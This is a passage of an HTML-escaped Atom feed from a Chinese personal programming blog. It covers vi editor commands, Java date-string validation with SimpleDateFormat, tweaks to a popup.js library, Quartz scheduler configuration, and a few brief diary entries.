&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;全屏幕文本编辑器中，光标的移动操作无疑是最经常使用的操作了。用户只有熟练地使用移动光标的这些命令，才能迅速准确地到达所期望的位置处进行编辑。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;Vi中的光标移动既可以在命令模式下，也可以在文本输入模式下，但操作的方法不尽相同。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(1)在文本输入模式下，可直接使用键盘上的四个方向键移动光标。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(2)在命令模式下，有很多移动光标的方法。不但可以使用四个方向键来移动光标，还可以用h、j、k、l这四个键代替四个方向键来移动光标，这样可以避免由于不同机器上的不同键盘定义所带来的矛盾，而且使用熟练后可以手不离开字母键盘位置就能完成所有操作，从而提高工作效率。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;3．在屏幕上移动&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;Vi提供了三个关于光标在全屏幕上移动并且文件本身不发生滚动的命令。它们分别是H、M和L命令。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(1)H命令&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;该命令将光标移至屏幕首行的行首（即左上角），也就是当前屏幕的第一行，而不是整个文件的第一行。利用此命令可以快速将光标移至屏幕顶部。若在H命令之前加上数字n，则将光标移至第n行的行首。值得一提的是，使用命令dH将会删除从光标当前所在行至所显示屏幕首行的全部内容。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(2)M命令&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;该命令将光标移至屏幕显示文件的中间行的行首。即如果当前屏幕已经充满,则移动到整个屏幕的中间行；如果并未充满，则移动到文本的那些行的中间行。利用此命令可以快速地将光标从屏幕的任意位置移至屏幕显示文件的中间行的行首。例如，在上面屏幕显示的情况下（不论光标在屏幕的何处），在命令模式下，输入命令M之后，光标都将移到add这一行的字母a上。同样值得一提的是，使用命令dM将会删除从光标当前所在行至屏幕显示文件的中间行的全部内容。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(3)L命令&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;当文件显示内容超过一屏时，该命令将光标移至屏幕上的最底行的行首；当文件显示内容不足一屏时，该命令将光标移至文件的最后一行的行首。可见，利用此命令可以快速准确地将光标移至屏幕底部或文件的最后一行。若在L命令之前加上数字n，则将光标移至从屏幕底部算起第n行的行首。同样值得一提的是，使用命令dL将会删除从光标当前行至屏幕底行的全部内容。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;4．编辑命令&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;让我们看看最简单也是最常用的编辑过程：没有人不犯错误。所以迟早你会碰到修改你输入的文本的时候。实际上花在字处理上的大多数时间是修改而不是输入新的东西。因此，你要知道如何方便地修改就很重要。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(1)x--删除一个字符&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;删除文字的最简单的方式是用x。这个命令的结果是光标所处的字符的消失，后面的文字左移动。如果你删除的字符是一行最后的一个字符，那么光标将向左移动一个，这样光标就不会停留在不存在的字符的下面了。假如没有任何文字了，喇叭就叫。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(2)d--删除对象&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;这个命令的右边还要有一定的文字对象。文字对象就是一块文字。他右边接的就是在控制光标移动的那些字符。例如 w 表示向前一个单词，那么 dw 将删除下一个单词。5w 表示前进5个单词，那么 d5w 将删除他们。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(3)dd--删除一行&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;最常用的 d 系列命令之一。和前面一样， 5dd 将删除 5 行&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(4)D--整个删除&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;大写形式的 D 用来删除从光标到行尾。和 d$ 一样效果。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(5)u--恢复&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;要后悔吗？他不仅仅撤消删除，还撤消你所有的编辑工作。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(6).--重复&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;重复编辑工作。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;5．退出Vi&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;当编辑完文件，准备退出Vi返回到shell时，可以使用以下几种方法之一。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(1)在命令模式中，连按两次大写字母Z，若当前编辑的文件曾被修改过，则Vi保存该文件后退出，返回到shell；若当前编辑的文件没被修改过，则Vi直接退出, 返回到shell。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(2)在末行模式下，输入命令 :w Vi保存当前编辑文件，但并不退出，而是继续等待用户输入命令。在使用w命令时，可以再给编辑文件起一个新的文件名。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;例如:w newfile&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;此时Vi将把当前文件的内容保存到指定的newfile中，而原有文件保持不变。若newfile是一个已存在的文件，则Vi在显示窗口的状态行给出提示信息：&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;File exists （use ! to override）&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;此时，若用户真的希望用文件的当前内容替换newfile中原有内容，可使用命令&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;:w! newfile&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;否则可选择另外的文件名来保存当前文件。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(3)在末行模式下，输入命令 :q　系统退出Vi返回到shell。若在用此命令退出Vi时，编辑文件没有被保存，则Vi在显示窗口的最末行显示如下信息：&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;No write since last change （use ! to overrides）&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;提示用户该文件被修改后没有保存，然后Vi并不退出，继续等待用户命令。若用户就是不想保存被修改后的文件而要强行退出Vi时，可使用命令:q! Vi放弃所作修改而直接退到shell下。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(4)在末行模式下，输入命令 :wq Vi将先保存文件，然后退出Vi返回到shell。&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;br/&gt;(5)在末行模式下，输入命令 :x 该命令的功能同命令模式下的ZZ命令功能相同。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;来自：&lt;a href="http://net.zdnet.com.cn/network_security_zone/2008/0519/869835.shtml"&gt;http://net.zdnet.com.cn/network_security_zone/2008/0519/869835.shtml&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2903995102379260830?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2903995102379260830/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/linuxvi.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2903995102379260830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2903995102379260830'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/linuxvi.html' title='Linux操作系统下VI编辑器常用命令介绍'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5921547570789568799</id><published>2009-07-14T01:05:00.000+08:00</published><updated>2010-08-13T11:22:03.050+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>用DateFormat的parse方法验证字符串是否是日期的问题</title><content type='html'>因为最近比较闲 有点不思进取 也没什么问题要写了&lt;br/&gt;今天不错，发现一个，恩，感觉不错&lt;br/&gt;做了一个上传Excel并解析数据然后入库的功能，里面涉及到是否是日期格式的判断&lt;br/&gt;之前是这么写的(深谙这么写是不好的，但以为它是可靠的)&lt;br/&gt;&lt;br/&gt;private boolean checkDate(String content) {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   &amp;nbsp;&amp;nbsp;&amp;nbsp;   SimpleDateFormat sdf = new SimpleDateFormat(&amp;quot;yyyy-MM-dd&amp;quot;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   try {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   sdf.parse(content);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   return true;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   } catch (Exception e){&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   return false;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   }&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;     }&lt;br/&gt;&lt;br/&gt;现在发现问题了，对于&amp;ldquo;2008-06-23asdf&amp;rdquo;这种情况是返回true的，哈哈，看来是孤陋寡闻了，基础不扎实了，看API上这样讲：&lt;br/&gt;&lt;strong&gt;&lt;br/&gt;在默认情况下，进行的分析是不严格的：如果输入的形式不是此对象的格式化方法使用的形式，但仍可作为日期进行分析，则分析将获得成功。客户机可能通过调用  setLenient(false) 来强调严格遵守该格式。&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;按照API说法，将代码改成&lt;br/&gt;private boolean checkDate(String content) {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   &amp;nbsp;&amp;nbsp;&amp;nbsp;   SimpleDateFormat sdf = new SimpleDateFormat(&amp;quot;yyyy-MM-dd&amp;quot;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   try {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   sdf.&lt;strong&gt; setLenient(false);&lt;/strong&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   sdf.parse(content);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   return true;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   } catch (Exception e){&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   return false;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   }&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;     }&lt;br/&gt;&lt;br/&gt;运行结果&amp;ldquo;2008-06-23asdf&amp;rdquo;这种情况还是返回true的，但&amp;ldquo;2008-13-23&amp;rdquo;这种情况是返回false的&lt;br/&gt;最后改进程这种写法，可以适应&amp;quot;yyyy-MM-dd&amp;quot;&amp;quot;yyyy-M-d&amp;quot;&amp;quot;yyyy-MM-d&amp;quot;&amp;quot;yyyy-M-dd&amp;quot;&lt;br/&gt;&lt;br/&gt;private boolean checkDate(String content) {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   &amp;nbsp;&amp;nbsp;&amp;nbsp;   SimpleDateFormat sdf = new SimpleDateFormat(&amp;quot;yyyy-M-d&amp;quot;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   try {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   &amp;nbsp;&amp;nbsp;&amp;nbsp;   sdf.setLenient(false);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   &amp;nbsp;&amp;nbsp;&amp;nbsp;   content = content.replaceAll(&amp;quot;-0&amp;quot;, &amp;quot;-&amp;quot;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   Date d = sdf.parse(content);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   String s = sdf.format(d);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   return content.equals(s);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   } catch (Exception e){&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   return false;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;   }&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;     }&lt;br/&gt;&lt;br/&gt;参考资料http://www.99inf.net/SoftwareDev/Java/52734.htm&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  http://blog.163.com/everlee@126/blog/static/263574220089822631229/&lt;br/&gt;&lt;br/&gt;当然也可以用正则表达式做到。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5921547570789568799?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5921547570789568799/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/dateformatparse_14.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5921547570789568799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5921547570789568799'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/dateformatparse_14.html' title='用DateFormat的parse方法验证字符串是否是日期的问题'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-8624776054509288703</id><published>2009-07-10T17:43:00.000+08:00</published><updated>2010-08-13T11:22:02.651+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mystudy'/><title type='text'>觉得开心网该做客户端了</title><content type='html'>觉得开心网该做客户端了，外挂很火爆嘛，不如弄个官方外挂出来&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-8624776054509288703?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/8624776054509288703/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_10.html#comment-form' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8624776054509288703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8624776054509288703'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_10.html' title='觉得开心网该做客户端了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1181632728839825463</id><published>2009-07-10T01:32:00.000+08:00</published><updated>2010-08-13T11:22:02.677+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mystudy'/><title type='text'>发现堕落了</title><content type='html'>记得以前晚上临睡觉还躺着看看书，学习学习，&lt;br/&gt;&lt;div class="ii gt"&gt;隔段时间就想到书店转转&lt;br/&gt;最近发现回家什么都不干了，书都不知道扔哪去了，堕落了 堕落了&lt;br/&gt;什么原因？事儿比较多？休要狡辩。。。赶紧上进！&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1181632728839825463?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1181632728839825463/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_4781.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1181632728839825463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1181632728839825463'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_4781.html' title='发现堕落了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3491768068919070199</id><published>2009-07-09T05:35:00.000+08:00</published><updated>2010-08-13T11:22:02.686+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>迷糊SAP</title><content type='html'>这周公司在培训SAP PI &lt;br/&gt;听的一塌糊涂&lt;br/&gt;一上课10分钟就犯困 &lt;br/&gt;明儿好像就结束了 这可咋整&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3491768068919070199?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3491768068919070199/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/sap_09.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3491768068919070199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3491768068919070199'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/sap_09.html' title='迷糊SAP'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1765065902399612910</id><published>2009-07-02T17:47:00.000+08:00</published><updated>2010-08-13T11:22:02.699+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='组织'/><title type='text'>提笔忘字</title><content type='html'>早上写个“液晶显示器”的“液”不会写，无奈在电脑上打出来 照着写&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1765065902399612910?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1765065902399612910/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_02.html#comment-form' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1765065902399612910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1765065902399612910'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_02.html' title='提笔忘字'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-8621801307380475090</id><published>2009-06-16T21:27:00.000+08:00</published><updated>2010-08-13T11:22:02.720+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Js'/><title type='text'>百度登陆popup.js</title><content type='html'>一直在项目中用百度的popup.js，挺好用兼容性不错&lt;br/&gt;有关详细介绍：http://bbs.80nian.net/thread-428-1-1.html&lt;br/&gt;使用中自己也试着修改了些源码 以适应实际需要&lt;br/&gt;1、在弹出层的时候popup.js隐藏了父页面中所有的select选择框，当然这是必要的，但项目中用到了日期选择框js，如果他们两个一块用，呵呵，就开始打架了，现象是 当关闭popup弹出框后会发现页面上有年份和月的select下拉框，我看到是在左上角&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  分析popup.js，修改了源码，在popup.js隐藏select的时候，判断如果id为日期选择框中的id名字就不做操作，OK！&lt;br/&gt;2、关闭按钮图标问题，popup.js写死从www.baidu.com中取关闭按钮图片，总不能用着人家js还要用人家图片 呵呵，索性换成了个全角 的X 哈哈&lt;br/&gt;3、遇到一个新需求，就是想在关闭popup的时候，做一些判断处理，看来要对刚刚那个X动手脚了，在config中加了个属性showCloseButton，如果showCloseButton=true显示X，否则不显示X，然后自己在页面中加一个button处理关闭事件，这样自己想做什么就做什么了，哈哈&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-8621801307380475090?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/8621801307380475090/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/popupjs.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8621801307380475090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8621801307380475090'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/popupjs.html' title='百度登陆popup.js'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3208280393264321985</id><published>2009-06-11T00:24:00.000+08:00</published><updated>2010-08-13T11:22:02.733+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>用 Quartz 进行作业调度 续</title><content type='html'>如果不使用数据库存储，则配置文件变得很简单：&lt;br/&gt;org.quartz.scheduler.instanceName = TestScheduler&lt;br/&gt;org.quartz.scheduler.instanceId = one&lt;br/&gt;&lt;br/&gt;org.quartz.threadPool.class = org.quartz.simpl.SimpleThreadPool&lt;br/&gt;org.quartz.threadPool.threadCount = 2&lt;br/&gt;org.quartz.threadPool.threadPriority = 4&lt;br/&gt;&lt;br/&gt;org.quartz.plugin.jobInitializer.class = org.quartz.plugins.xml.JobInitializationPlugin&lt;br/&gt;org.quartz.plugin.jobInitializer.fileName = quartz_job.xml&lt;br/&gt;&lt;br/&gt;转载：&lt;a href="http://www.blogjava.net/xmatthew/archive/2009/02/15/253864.html"&gt;http://www.blogjava.net/xmatthew/archive/2009/02/15/253864.html&lt;/a&gt;&lt;br/&gt;&lt;span class="Apple-style-span" style="border-collapse:separate;color:rgb(0,0,0);font-size:medium;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;"&gt;&lt;span class="Apple-style-span" style="color:rgb(123,125,98);font-size:12px;line-height:18px;"&gt;&lt;a target="_blank" href="http://www.blogjava.net/xmatthew/archive/2009/02/15/253864.html"&gt;CronTrigger配置格式&lt;/a&gt;:&lt;br/&gt;&lt;br/&gt;格式: [秒] [分] [小时] [日] [月] [周] [年]&lt;br/&gt;&lt;br/&gt;&lt;table width="500" cellspacing="2" cellpadding="2" border="0" style="margin:2px;"&gt;&lt;br/&gt;&lt;tbody&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;序号&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;说明&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;是否必填&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;允许填写的值&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;允许的通配符&lt;span class="Apple-converted-space"&gt; 